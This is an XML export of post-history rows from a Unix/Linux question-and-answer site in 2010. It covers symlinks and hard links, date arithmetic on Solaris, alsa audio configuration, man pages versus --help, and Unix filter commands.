  <row Id="3712" PostHistoryTypeId="2" PostId="1824" RevisionGUID="a98e21a9-c4ee-448e-b656-fa96d4414431" CreationDate="2010-09-09T16:40:38.127" UserId="1207" Text="Concering your second question, if you make the symlink using a relative path and then move the whole directory structure, it still should work. Consider the following terminal session:&#xD;&#xA;&#xD;&#xA;    ~$ mkdir test&#xD;&#xA;    ~$ cd test/&#xD;&#xA;    ~/test$ mkdir test2&#xD;&#xA;    ~/test$ cd test2/&#xD;&#xA;    ~/test/test2$ touch testfile; echo &quot;hello, world&quot; &gt; testfile&#xD;&#xA;    ~/test/test2$ cat testfile &#xD;&#xA;    hello, world&#xD;&#xA;    ~/test/test2$ cd ..&#xD;&#xA;    ~/test$ ln -s ./test2/testfile testfileln&#xD;&#xA;    ~/test$ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    drwxr-xr-x 2 xxxx xxxx 4096 2010-09-09 09:18 test2&#xD;&#xA;    lrwxrwxrwx 1 xxxx xxxx   16 2010-09-09 09:18 testfileln -&gt; ./test2/testfile&#xD;&#xA;    ~/test$ cd ..&#xD;&#xA;    ~$ mv test/ testfoo&#xD;&#xA;    ~$ cd testfoo/&#xD;&#xA;    ~/testfoo$ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    drwxr-xr-x 2 xxxx xxxx 4096 2010-09-09 09:18 test2&#xD;&#xA;    lrwxrwxrwx 1 xxxx xxxx   16 2010-09-09 09:18 testfileln -&gt; ./test2/testfile&#xD;&#xA;    /testfoo$ cat testfileln &#xD;&#xA;    hello, world&#xD;&#xA;&#xD;&#xA;As for your first question, if you really want a link that will refer to the same file no matter what you do with the original location of the file, a hard link is probably what you want.  A hard link is basically just another name refering to the same inode.  Thus, there is no difference between the hard link and the &quot;original file.&quot;  However, if you need to link across file systems, hard links often do not work and you usually cannot make hard links to directories.  Further, you will notice some differences in how the think works.  Most notably, removing the original will not remove the file.  The hard link will still point to the file and be accessible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3713" PostHistoryTypeId="6" PostId="1823" RevisionGUID="21596548-eaa5-40c1-b7ad-ea466f2a05fa" CreationDate="2010-09-09T16:41:10.043" UserId="1207" Comment="edited tags" Text="ésymlinkà" />
  <row Id="3714" PostHistoryTypeId="6" PostId="1823" RevisionGUID="dc6f85fb-a985-4fbd-b2e6-3b9a2597270e" CreationDate="2010-09-09T16:41:32.257" UserId="1207" Comment="edited tags" Text="ésymlinkàéhardölinkà" />
  <row Id="3715" PostHistoryTypeId="5" PostId="1824" RevisionGUID="b3d74e95-4f05-4984-80fe-135f346a38e1" CreationDate="2010-09-09T17:01:50.920" UserId="1207" Comment="added 14 characters in body" Text="Concering your second question, if you make the symlink using a relative path and then move the whole directory structure, it still should work. Consider the following terminal session:&#xD;&#xA;&#xD;&#xA;    ~$ mkdir test&#xD;&#xA;    ~$ cd test/&#xD;&#xA;    ~/test$ mkdir test2&#xD;&#xA;    ~/test$ cd test2/&#xD;&#xA;    ~/test/test2$ touch testfile; echo &quot;hello, world&quot; &gt; testfile&#xD;&#xA;    ~/test/test2$ cat testfile &#xD;&#xA;    hello, world&#xD;&#xA;    ~/test/test2$ cd ..&#xD;&#xA;    ~/test$ ln -s ./test2/testfile testfileln&#xD;&#xA;    ~/test$ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    drwxr-xr-x 2 xxxx xxxx 4096 2010-09-09 09:18 test2&#xD;&#xA;    lrwxrwxrwx 1 xxxx xxxx   16 2010-09-09 09:18 testfileln -&gt; ./test2/testfile&#xD;&#xA;    ~/test$ cd ..&#xD;&#xA;    ~$ mv test/ testfoo&#xD;&#xA;    ~$ cd testfoo/&#xD;&#xA;    ~/testfoo$ ls -l&#xD;&#xA;    total 8&#xD;&#xA;    drwxr-xr-x 2 xxxx xxxx 4096 2010-09-09 09:18 test2&#xD;&#xA;    lrwxrwxrwx 1 xxxx xxxx   16 2010-09-09 09:18 testfileln -&gt; ./test2/testfile&#xD;&#xA;    /testfoo$ cat testfileln &#xD;&#xA;    hello, world&#xD;&#xA;&#xD;&#xA;As for your first question, if you really want a link that will refer to the same file no matter what you do with the original location of the file, a hard link is probably what you want.  A hard link is basically just another name refering to the same inode.  Thus, there is no difference between the hard link and the &quot;original file.&quot;  However, if you need to link across file systems, hard links often do not work and you usually cannot make hard links to directories.  Further, you will notice some differences when performing some file operations.  Most notably, removing the original will not remove the file.  The hard link will still point to the file and be accessible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3716" PostHistoryTypeId="6" PostId="1813" RevisionGUID="a49e8bdd-c612-4fac-9383-cdffbc579b92" CreationDate="2010-09-09T17:48:57.953" UserId="29" Comment="add relevant tags." Text="ésshàéputtyà" />
  <row Id="3717" PostHistoryTypeId="5" PostId="1211" RevisionGUID="453d9fe5-bf51-422e-b21a-4adeab0b4b3c" CreationDate="2010-09-09T18:49:53.207" UserId="373" Comment="added 118 characters in body" Text="You might be able to fix it by creating a `~/.asoundrc` see http://alsa.opensrc.org/.asoundrc&#xD;&#xA;&#xD;&#xA;Specifically you want the opposite of the case here: http://alsa.opensrc.org/.asoundrc#Default_PCM_device&#xD;&#xA;&#xD;&#xA;so `aplay -L` with out the usb audio in and and `asoundrc` like this might work:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pcm.!default front:Intel&#xD;&#xA;&#xD;&#xA;If your card (Like mine) gets named `Intel` by alsa just putting that in `~/.asoundrc` should work (if you want it to affect stuff that's not run as your UID then put it in `/etc/asound.conf`)&#xD;&#xA;&#xD;&#xA;Oh also none of this really applies if you're using pulseaudio... you need to do different stuff in that case.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3718" PostHistoryTypeId="4" PostId="1816" RevisionGUID="551a49ec-1bd1-4bd0-8374-a2cf394da216" CreationDate="2010-09-09T19:06:43.263" UserId="1327" Comment="changed title to beter reflect the question and answer" Text="Specifying which git repo to use" />
  <row Id="3719" PostHistoryTypeId="2" PostId="1825" RevisionGUID="548a1f1d-5374-4eaf-a40e-4620dd304a68" CreationDate="2010-09-09T19:31:53.527" UserId="1578" Text="Is there any tool in Solaris UNIX (so no GNU tool available) to subtract dates? I know that in Linux we have gawk that can subtract one date from another. But in Solaris the maximum we have is nawk (improved awk) which cannot perform date calculations. Also I cannot use perl... :(&#xD;&#xA;&#xD;&#xA;Is there anyway to do dates calculations like `20100909-20001010` ?&#xD;&#xA;&#xD;&#xA;Thanks guys" />
  <row Id="3720" PostHistoryTypeId="1" PostId="1825" RevisionGUID="548a1f1d-5374-4eaf-a40e-4620dd304a68" CreationDate="2010-09-09T19:31:53.527" UserId="1578" Text="Tool in UNIX to subtract dates" />
  <row Id="3721" PostHistoryTypeId="3" PostId="1825" RevisionGUID="548a1f1d-5374-4eaf-a40e-4620dd304a68" CreationDate="2010-09-09T19:31:53.527" UserId="1578" Text="éshellàéunixàébashàékshà" />
  <row Id="3722" PostHistoryTypeId="6" PostId="1825" RevisionGUID="4b911240-dfb3-4ed8-8407-da5e7092636f" CreationDate="2010-09-09T19:43:33.397" UserId="73" Comment="edited tags" Text="éshellàéunixàébashàégawkàédatesà" />
  <row Id="3723" PostHistoryTypeId="2" PostId="1826" RevisionGUID="77ac72f3-28f7-4362-82fa-1de319f6a815" CreationDate="2010-09-09T19:49:19.217" UserId="1207" Text="I would try using the &quot;date&quot; command which is part of POSIX so it is just about everywhere.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    d1=`date -d 20100909 +%s`&#xD;&#xA;    d2=`date -d 20001010 +%s`&#xD;&#xA;&#xD;&#xA;Now `d1` and `d2` are integers that correspond to seconds since the unix epoch.  Thus to get the difference between the two, we subtract( `$((d1-d2))` in bash) and covert to whatever units we want.  Days are the easiest:&#xD;&#xA;&#xD;&#xA;    echo &quot;$(((d1-d2)/86400)) days&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3724" PostHistoryTypeId="5" PostId="1826" RevisionGUID="b0d4fe98-7813-4da5-8dd7-5613b8ba358a" CreationDate="2010-09-09T19:57:57.430" UserId="1207" Comment="added 326 characters in body; deleted 29 characters in body" Text="I would try using the `date` command which is part of POSIX so it is just about everywhere.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    d1=`date -d 20100909 +%s`&#xD;&#xA;    d2=`date -d 20001010 +%s`&#xD;&#xA;&#xD;&#xA;Now `d1` and `d2` are integers that correspond to seconds since the unix epoch.  Thus to get the difference between the two, we subtract( `$((d1-d2))` in bash) and covert to whatever units we want.  Days are the easiest:&#xD;&#xA;&#xD;&#xA;    echo &quot;$(((d1-d2)/86400)) days&quot;&#xD;&#xA;&#xD;&#xA;How to do the conversion will likely be different if you don't have bash.  The most portable way may be to use `expr` ([expr's posix man page][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/9699919799/utilities/date.html&#xD;&#xA;  [2]: http://www.opengroup.org/onlinepubs/9699919799/utilities/expr.html" />
  <row Id="3725" PostHistoryTypeId="5" PostId="1826" RevisionGUID="376b06f3-b4ca-4fd5-9933-a3b23d660900" CreationDate="2010-09-09T20:03:09.773" UserId="1207" Comment="update about date command" Text="I would try using the `date` command which is part of POSIX so it is just about everywhere. **UPDATE: Unfortunately, it seems that -d is not part of POSIX date and likely not there on Solaris.  Thus this likely won't answer the OPs question.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    d1=`date -d 20100909 +%s`&#xD;&#xA;    d2=`date -d 20001010 +%s`&#xD;&#xA;&#xD;&#xA;Now `d1` and `d2` are integers that correspond to seconds since the unix epoch.  Thus to get the difference between the two, we subtract( `$((d1-d2))` in bash) and covert to whatever units we want.  Days are the easiest:&#xD;&#xA;&#xD;&#xA;    echo &quot;$(((d1-d2)/86400)) days&quot;&#xD;&#xA;&#xD;&#xA;How to do the conversion will likely be different if you don't have bash.  The most portable way may be to use `expr` ([expr's posix man page][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/9699919799/utilities/date.html&#xD;&#xA;  [2]: http://www.opengroup.org/onlinepubs/9699919799/utilities/expr.html" />
  <row Id="3726" PostHistoryTypeId="5" PostId="1825" RevisionGUID="135e10dc-2777-4a3f-a1e1-5a7613762cde" CreationDate="2010-09-09T20:23:52.290" UserId="1578" Comment="added 55 characters in body" Text="Is there any tool in Solaris UNIX (so no GNU tool available) to subtract dates? I know that in Linux we have gawk that can subtract one date from another. But in Solaris the maximum we have is nawk (improved awk) which cannot perform date calculations. Also I cannot use perl... :(&#xD;&#xA;&#xD;&#xA;Is there anyway to do dates calculations like `20100909-20001010` ?&#xD;&#xA;&#xD;&#xA;UPDATE: Is `bc` able to perform dates calculations?&#xD;&#xA;&#xD;&#xA;Thanks guys" />
  <row Id="3727" PostHistoryTypeId="2" PostId="1827" RevisionGUID="08ff2a43-2099-4952-9e78-86380ed984bf" CreationDate="2010-09-09T20:39:13.897" UserId="1131" Text="Install some tools!&#xD;&#xA;&#xD;&#xA;I mean, it is Solaris, what do you expect? ;)" />
  <row Id="3728" PostHistoryTypeId="2" PostId="1828" RevisionGUID="1108cba7-214d-49bc-be4d-0ec96565ee88" CreationDate="2010-09-09T21:10:37.990" UserId="885" Text="Unfortunately, none of the POSIX command line utilities provide arithmetic on dates. `date -d` and `date +%s` are the way to go if you have them, but they're GNU extensions.&#xD;&#xA;&#xD;&#xA;There's a clumsy hack with `touch` that sort of works for checking that a date is at least n days in the past:&#xD;&#xA;&#xD;&#xA;    touch -t 201009090000 stamp&#xD;&#xA;    if [ -n &quot;$(find stamp -mtime +42)&quot; ]; then ...&#xD;&#xA;&#xD;&#xA;(Note that this code may be off by one if DST started or stopped in the interval and the script runs before 1am.)&#xD;&#xA;&#xD;&#xA;Several people have ended up implementing date manipulation libraries in Bourne or POSIX shell. There are a few examples and links in the [comp.unix.shell FAQ](http://cfajohnson.com/shell/cus-faq.html#6].&#xD;&#xA;&#xD;&#xA;Installing GNU tools may be the way of least pain.&#xD;&#xA;" />
  <row Id="3729" PostHistoryTypeId="5" PostId="1791" RevisionGUID="e6ddc400-88e6-44bc-9b05-83b61d42dec8" CreationDate="2010-09-09T21:27:53.337" UserId="73" Comment="added 78 characters in body" Text="It would vary by distro. For example:&#xD;&#xA;&#xD;&#xA;* Ubuntu has [Ubuntu Packages](http://packages.ubuntu.com/)&#xD;&#xA;* Gentoo has [Gentoo Packages](http://packages.gentoo.org/)&#xD;&#xA;* Arch has [Arch Package Database](http://www.archlinux.org/packages/) and [AUR](http://aur.archlinux.org/)&#xD;&#xA;* Fedora has [Fedora Package Database](https://admin.fedoraproject.org/pkgdb/)" />
  <row Id="3730" PostHistoryTypeId="2" PostId="1829" RevisionGUID="384c2763-2d76-4296-b941-fc863a676f94" CreationDate="2010-09-09T21:54:19.353" UserId="382" Text="If you have Python:&#xD;&#xA;&#xD;&#xA;    from time import *&#xD;&#xA;    date1 = strptime(&quot;20100909&quot;,&quot;%Y%m%d&quot;)&#xD;&#xA;    date2 = strptime(&quot;20001010&quot;,&quot;%Y%m%d&quot;)&#xD;&#xA;    diff = mktime(date1) - mktime(date2)&#xD;&#xA;    print repr(d/86400) + &quot; days&quot;&#xD;&#xA;&#xD;&#xA;You tagged your question &quot;gawk&quot; but you say &quot;no GNU tools&quot;. Gawk has date arithmetic." />
  <row Id="3731" PostHistoryTypeId="6" PostId="1825" RevisionGUID="1eda237e-d0b1-452f-89c4-4929db9bd55d" CreationDate="2010-09-09T22:19:49.770" UserId="1207" Comment="edited tags" Text="éshellàéunixàébashàédatesàéawkà" />
  <row Id="3732" PostHistoryTypeId="2" PostId="1830" RevisionGUID="e5be971e-cfac-4b64-a632-8647276a642b" CreationDate="2010-09-09T22:47:03.010" UserId="1207" Text="I use alpine as my primary mail reader.  While I spend most of my day in the terminal or emacs, it would still be nice to get pretty notification of new mail using notify-bin.  Is there any way I can configure alpine to run a custom command when new mail is recieved?" />
  <row Id="3733" PostHistoryTypeId="1" PostId="1830" RevisionGUID="e5be971e-cfac-4b64-a632-8647276a642b" CreationDate="2010-09-09T22:47:03.010" UserId="1207" Text="How can I customize new mail notification in alpine?" />
  <row Id="3734" PostHistoryTypeId="3" PostId="1830" RevisionGUID="e5be971e-cfac-4b64-a632-8647276a642b" CreationDate="2010-09-09T22:47:03.010" UserId="1207" Text="émailàéalpineà" />
  <row Id="3735" PostHistoryTypeId="8" PostId="1721" RevisionGUID="6ce8ca84-7ad2-4a48-aa69-0a149e6b26ff" CreationDate="2010-09-10T00:44:06.050" UserDisplayName="delete" Comment="Rollback to [a4bdbab4-5c40-4669-8fef-174a546e33d4]" Text="&gt; There are two major products that came out of Berkeley: LSD and UNIX. We don't believe this to be a coincidence.&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3736" PostHistoryTypeId="8" PostId="1721" RevisionGUID="9f42c72c-1e6a-4e83-b301-a34b06c5d86a" CreationDate="2010-09-10T00:44:15.893" UserDisplayName="delete" Comment="Rollback to [aedd1fdc-0157-4294-b58e-9a0d1f250572]" Text="&gt; There are two major products of Berkeley, CA -- LSD and UNIX.  We don't &#xD;&#xA;believe this to be strictly by coincidence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3737" PostHistoryTypeId="5" PostId="1721" RevisionGUID="c71434a9-3572-4ffb-a5a9-b60219562daa" CreationDate="2010-09-10T00:45:18.420" UserDisplayName="delete" Comment="added 2 characters in body" Text="&gt; There are two major products of Berkeley, CA -- LSD and UNIX.  We don't &#xD;&#xA;&gt; believe this to be strictly by coincidence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3738" PostHistoryTypeId="2" PostId="1831" RevisionGUID="d028d2fa-ce01-46db-99ad-fa58b21213d7" CreationDate="2010-09-10T03:14:56.007" UserId="29" Text="I'm just wondering if it's possible to on one workspace (or maybe activity) to use Tiling, and use normal management on another, maybe change some grouping settings on another." />
  <row Id="3739" PostHistoryTypeId="1" PostId="1831" RevisionGUID="d028d2fa-ce01-46db-99ad-fa58b21213d7" CreationDate="2010-09-10T03:14:56.007" UserId="29" Text="Manage Windows in different ways on different workspaces/activites in KDE 4.5 possible?" />
  <row Id="3740" PostHistoryTypeId="3" PostId="1831" RevisionGUID="d028d2fa-ce01-46db-99ad-fa58b21213d7" CreationDate="2010-09-10T03:14:56.007" UserId="29" Text="ékdeàéwindowömanagerà" />
  <row Id="3741" PostHistoryTypeId="2" PostId="1832" RevisionGUID="c335a935-1660-47ec-af7d-eab030cfab7c" CreationDate="2010-09-10T04:27:15.530" UserId="1465" Text="Wouldn't it be more consistent if one of these always worked?" />
  <row Id="3742" PostHistoryTypeId="1" PostId="1832" RevisionGUID="c335a935-1660-47ec-af7d-eab030cfab7c" CreationDate="2010-09-10T04:27:15.530" UserId="1465" Text="Why do some commands have man pages and other commands use --help?" />
  <row Id="3743" PostHistoryTypeId="3" PostId="1832" RevisionGUID="c335a935-1660-47ec-af7d-eab030cfab7c" CreationDate="2010-09-10T04:27:15.530" UserId="1465" Text="édocumentationà" />
  <row Id="3744" PostHistoryTypeId="2" PostId="1833" RevisionGUID="5c484d46-56ed-49f6-8d43-ea3c3f7a089f" CreationDate="2010-09-10T05:00:58.780" UserId="29" Text="Yes it would be more consistent. This has nothing to do with cross-platform and everything to do with developers not writing (wanting to write) documentation. a `man` page is documentation, `--help` is mostly programming in nature. I've also seen the case where man pages didn't exist because the developer didn't know how to make one, or convert the documentation from another format, sometimes this is easily remedied." />
  <row Id="3745" PostHistoryTypeId="5" PostId="1833" RevisionGUID="1853eb0f-8552-4c51-8115-ace64ccc4329" CreationDate="2010-09-10T05:08:09.830" UserId="29" Comment="I want both" Text="Yes it would be more consistent. This has nothing to do with cross-platform and everything to do with developers not writing (wanting to write) documentation. a `man` page is documentation, `--help` is mostly programming in nature. I've also seen the case where man pages didn't exist because the developer didn't know how to make one, or convert the documentation from another format, sometimes this is easily remedied.&#xD;&#xA;&#xD;&#xA;I would like to note that I wish *both* always worked." />
  <row Id="3746" PostHistoryTypeId="6" PostId="1832" RevisionGUID="edc661b1-1931-4d0f-bf0d-06acffabd6cf" CreationDate="2010-09-10T05:22:49.797" UserId="73" Comment="edited tags" Text="émanàédocumentationà" />
  <row Id="3747" PostHistoryTypeId="2" PostId="1834" RevisionGUID="d2d6c5d7-8d31-42e3-906c-8c957af675b5" CreationDate="2010-09-10T07:03:17.587" UserId="250" Text="Typing `man alias` gives me&#xD;&#xA;&#xD;&#xA;&gt;No manual entry for alias&#xD;&#xA;&#xD;&#xA;The same thing goes for `export` and `eval`. At first I thought it only happens to shell built-in commands but `man echo` gives me the man page.&#xD;&#xA;&#xD;&#xA;Except for googling, is there a way that I can view the documentation of those commands? If not, is there a way to &quot;install&quot; those missing man pages?" />
  <row Id="3748" PostHistoryTypeId="1" PostId="1834" RevisionGUID="d2d6c5d7-8d31-42e3-906c-8c957af675b5" CreationDate="2010-09-10T07:03:17.587" UserId="250" Text="missing man pages of some commands" />
  <row Id="3749" PostHistoryTypeId="3" PostId="1834" RevisionGUID="d2d6c5d7-8d31-42e3-906c-8c957af675b5" CreationDate="2010-09-10T07:03:17.587" UserId="250" Text="émanàédocumentationà" />
  <row Id="3750" PostHistoryTypeId="2" PostId="1835" RevisionGUID="87270fa5-31ab-47b3-883b-85081bda4fd1" CreationDate="2010-09-10T07:15:18.930" UserId="73" Text="You probably have the man page for `echo` because most systems have an `echo` binary in `/bin`, even though most shells provide a built-in anyway; you're seeing the man page for that binary. The man pages for all the other commands you're missing are in the POSIX Programmer's Manual (man section 1P). How to install it will depend on your distro; on Gentoo they're in the `sys-apps/man-pages-posix` package" />
  <row Id="3751" PostHistoryTypeId="5" PostId="1828" RevisionGUID="d2d5eeb2-abf4-4276-b36a-163aa0c36fff" CreationDate="2010-09-10T07:22:49.387" UserId="885" Comment="fixed formatting" Text="Unfortunately, none of the POSIX command line utilities provide arithmetic on dates. `date -d` and `date +%s` are the way to go if you have them, but they're GNU extensions.&#xD;&#xA;&#xD;&#xA;There's a clumsy hack with `touch` that sort of works for checking that a date is at least n days in the past:&#xD;&#xA;&#xD;&#xA;    touch -t 201009090000 stamp&#xD;&#xA;    if [ -n &quot;$(find stamp -mtime +42)&quot; ]; then ...&#xD;&#xA;&#xD;&#xA;(Note that this code may be off by one if DST started or stopped in the interval and the script runs before 1am.)&#xD;&#xA;&#xD;&#xA;Several people have ended up implementing date manipulation libraries in Bourne or POSIX shell. There are a few examples and links in the [comp.unix.shell FAQ](http://cfajohnson.com/shell/cus-faq.html#6).&#xD;&#xA;&#xD;&#xA;Installing GNU tools may be the way of least pain.&#xD;&#xA;" />
  <row Id="3752" PostHistoryTypeId="2" PostId="1836" RevisionGUID="5759e9b8-3ee8-42bc-a309-7ffdd0f484d2" CreationDate="2010-09-10T07:56:02.683" UserId="261" Text="My to be HTPC has similar specs, although I don't have the Ge-force card. Until now I've been using my Netbook as an ad-hoc HTPC, with lower specs, and good results. So given your specs and requirements, yes it's more than possible.&#xD;&#xA;&#xD;&#xA;Dig around the [GeeXboX][1] site and see if you like :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geexbox.org/" />
  <row Id="3753" PostHistoryTypeId="2" PostId="1837" RevisionGUID="2e175323-45e0-4268-9c14-029ea1bbca1b" CreationDate="2010-09-10T08:18:49.807" UserId="1383" Text="man information for built-in commands usually are available in the related shell man page. Try `man bash`." />
  <row Id="3754" PostHistoryTypeId="2" PostId="1838" RevisionGUID="4dfe2209-becc-4f92-a8ac-66a0ece4a981" CreationDate="2010-09-10T08:40:50.267" UserId="1469" Text="Some people do not *like* man pages, and write info files instead (notably GNU)." />
  <row Id="3755" PostHistoryTypeId="5" PostId="1793" RevisionGUID="2d7cfa28-db1e-473c-9f23-aab9e2fd2306" CreationDate="2010-09-10T09:32:03.933" UserId="1339" Comment="added clearification" Text="Many software projects have their hosting and packages for various distributions at [Sourceforge][1] or [Google Code][2].&#xD;&#xA;Also [Freshmeat][3] could be considered as a directory for free software.&#xD;&#xA;The most of them let you download packages for your distribution or checkout/clone their repository.&#xD;&#xA;&#xD;&#xA;But I see no reason why somebody should maintain such a site. There is no advantage in using your browser for download some utilities if you want to install them in your system afterwards.&#xD;&#xA;&#xD;&#xA;This is exactly the job of the packet management of your distribution and most of them do a good job at this :) In most cases there exist various wrapper tools for package management in all flavors.&#xD;&#xA;&#xD;&#xA;For example in Arch there is the basic package management tool called pacman. If I want to install utility foo, I simply have to type `pacman -S foo` and everything is installed. If tehre are not enough packages provided I can search in the AUR (Arch User Repository). I can use `yaourt` which is a wrapper for pacman or simply browse the [AUR Homepage][4]. On Debian you use `apt-get` or `aptitude`, etc.&#xD;&#xA;&#xD;&#xA;The FreeBSD packages are accessible also via the system tools or via the [Ports Homepage][5].&#xD;&#xA;&#xD;&#xA;So why should I want to browse any other homepage to download any utilities? If my package repository doesn't have it, its most of the time a small and unpopular project which I most likely won't find at any other &quot;repository&quot; on the net.&#xD;&#xA;&#xD;&#xA;Addition after short Discussion with Warren Young (see comments):&#xD;&#xA;My point is not, that every tool/software/utility has to exist as a package and if not, that it is not &quot;useful&quot;. The point is, that if you are missing a tool, you know what you want and can get it directly from the project page. The most project pages are hosted on the named services (sf,gc,fm) which provide you with a basic directory, so in combination with your package management and the project pages there should be no need for such a repository.&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/&#xD;&#xA;  [2]: http://code.google.com/&#xD;&#xA;  [3]: http://freshmeat.net/&#xD;&#xA;  [4]: http://aur.archlinux.org/&#xD;&#xA;  [5]: http://www.freebsd.org/ports/" />
  <row Id="3756" PostHistoryTypeId="2" PostId="1839" RevisionGUID="0198fd20-7c7c-4bbf-a41e-762c5e4fd2a3" CreationDate="2010-09-10T10:03:25.910" UserId="1608" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I want to know about the &quot;filter-command&quot; which are available in Unix.&#xD;&#xA;I am confused regarding this:&#xD;&#xA;&#xD;&#xA; 1. What is the purpose of &quot;Filter-Command&quot; ?&#xD;&#xA; 2. Which are the Filter-commands available in Unix?" />
  <row Id="3757" PostHistoryTypeId="1" PostId="1839" RevisionGUID="0198fd20-7c7c-4bbf-a41e-762c5e4fd2a3" CreationDate="2010-09-10T10:03:25.910" UserId="1608" Text="Unix - Filter Commands" />
  <row Id="3758" PostHistoryTypeId="3" PostId="1839" RevisionGUID="0198fd20-7c7c-4bbf-a41e-762c5e4fd2a3" CreationDate="2010-09-10T10:03:25.910" UserId="1608" Text="élinuxàéunixà" />
  <row Id="3759" PostHistoryTypeId="2" PostId="1840" RevisionGUID="ebd79185-3f5c-4464-bb6e-9df97bcc8590" CreationDate="2010-09-10T10:11:55.923" UserDisplayName="delete" Text="I'm not sure what you're asking without context. &quot;Traditional&quot; Unix tools read from standard input and write to standard output, so you can chain them together using a pipe, which is the | command:&#xD;&#xA;&#xD;&#xA;     ls | grep &quot;banana&quot; | more&#xD;&#xA;&#xD;&#xA;Things which read from standard input and write to standard output are filters.&#xD;&#xA;&#xD;&#xA;There is an article here: http://en.wikipedia.org/wiki/Filter_(Unix)" />
  <row Id="3760" PostHistoryTypeId="2" PostId="1841" RevisionGUID="ee82480e-008f-4ef7-bf84-564b79fd8c1f" CreationDate="2010-09-10T10:12:21.007" UserId="1465" Text="Does anyone have any tricks and tips for finding information in man pages?" />
  <row Id="3761" PostHistoryTypeId="1" PostId="1841" RevisionGUID="ee82480e-008f-4ef7-bf84-564b79fd8c1f" CreationDate="2010-09-10T10:12:21.007" UserId="1465" Text="Tricks and tips for finding information in man pages" />
  <row Id="3762" PostHistoryTypeId="3" PostId="1841" RevisionGUID="ee82480e-008f-4ef7-bf84-564b79fd8c1f" CreationDate="2010-09-10T10:12:21.007" UserId="1465" Text="émanà" />
  <row Id="3763" PostHistoryTypeId="16" PostId="1841" RevisionGUID="ee82480e-008f-4ef7-bf84-564b79fd8c1f" CreationDate="2010-09-10T10:12:21.007" UserId="1465" />
  <row Id="3764" PostHistoryTypeId="2" PostId="1842" RevisionGUID="ca54fab1-570a-43e8-8f47-b1cbaf866944" CreationDate="2010-09-10T10:34:24.030" UserId="629" Text="&gt; man -k *search*&#xD;&#xA;&#xD;&#xA;This will give you a list of all man pages which relate to 'search'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3765" PostHistoryTypeId="16" PostId="1842" RevisionGUID="ca54fab1-570a-43e8-8f47-b1cbaf866944" CreationDate="2010-09-10T10:34:24.030" UserId="-1" />
  <row Id="3766" PostHistoryTypeId="5" PostId="688" RevisionGUID="f5bc6273-93ed-4bc5-adeb-875c9048841f" CreationDate="2010-09-10T11:21:29.143" UserId="57" Comment="added 206 characters in body" Text="`man -a &lt;xyz&gt;` opens all the man pages one by one which contain `xyz`.  &#xD;&#xA;On my unix servers `man -a &lt;xyz&gt;` doesn't work.   &#xD;&#xA;Is there any alternative for this on unix?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I am on HP-UX. Following message :  &#xD;&#xA;&#xD;&#xA;    hemantj [109]&gt; man -a printf&#xD;&#xA;    Usage: man [-M path] [-T macro-package] [ section ] name ...&#xD;&#xA;    or: man -k keyword ...&#xD;&#xA;    or: man -f file ...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3767" PostHistoryTypeId="2" PostId="1843" RevisionGUID="81e4d3d8-6afa-48bf-82a0-a6dd6b10a698" CreationDate="2010-09-10T11:26:52.923" UserId="1578" Text="From Kristof answer, if you (i.e.) type `man -k chmod` you'll get a list of possibilites. Note the number in the parenthesis, it means the section to look for in the manual pages:&#xD;&#xA;&#xD;&#xA;On UNIX you can try:&#xD;&#xA;&#xD;&#xA;`man -s1 chmod ` it will show the man page for chmod command&#xD;&#xA;&#xD;&#xA;`man -s2 chmod ` it will show the man page for the C lib function chmod()&#xD;&#xA;&#xD;&#xA;On Linux you should change `-s` for `-S` " />
  <row Id="3768" PostHistoryTypeId="16" PostId="1843" RevisionGUID="81e4d3d8-6afa-48bf-82a0-a6dd6b10a698" CreationDate="2010-09-10T11:26:52.923" UserId="-1" />
  <row Id="3769" PostHistoryTypeId="2" PostId="1844" RevisionGUID="2d1fbb02-db25-4bd1-9f9e-18403bdbaa50" CreationDate="2010-09-10T11:46:52.887" UserId="101" Text="I agree with xenoterracide - both would be nice...  &#xD;&#xA;I expect `--help` to report functionality and options real short.  &#xD;&#xA;I expect `man` (or `info`...) to describe in detail what was previously reported by `--help`, maybe provide some examples, background etc." />
  <row Id="3770" PostHistoryTypeId="2" PostId="1845" RevisionGUID="9221b64a-1ff3-441e-9eda-a8d1737a5393" CreationDate="2010-09-10T11:57:29.567" UserId="1257" Text="Type slash `/` and then type the string to search for. Then keep pressing `n` to get to the next item" />
  <row Id="3771" PostHistoryTypeId="16" PostId="1845" RevisionGUID="9221b64a-1ff3-441e-9eda-a8d1737a5393" CreationDate="2010-09-10T11:57:29.567" UserId="-1" />
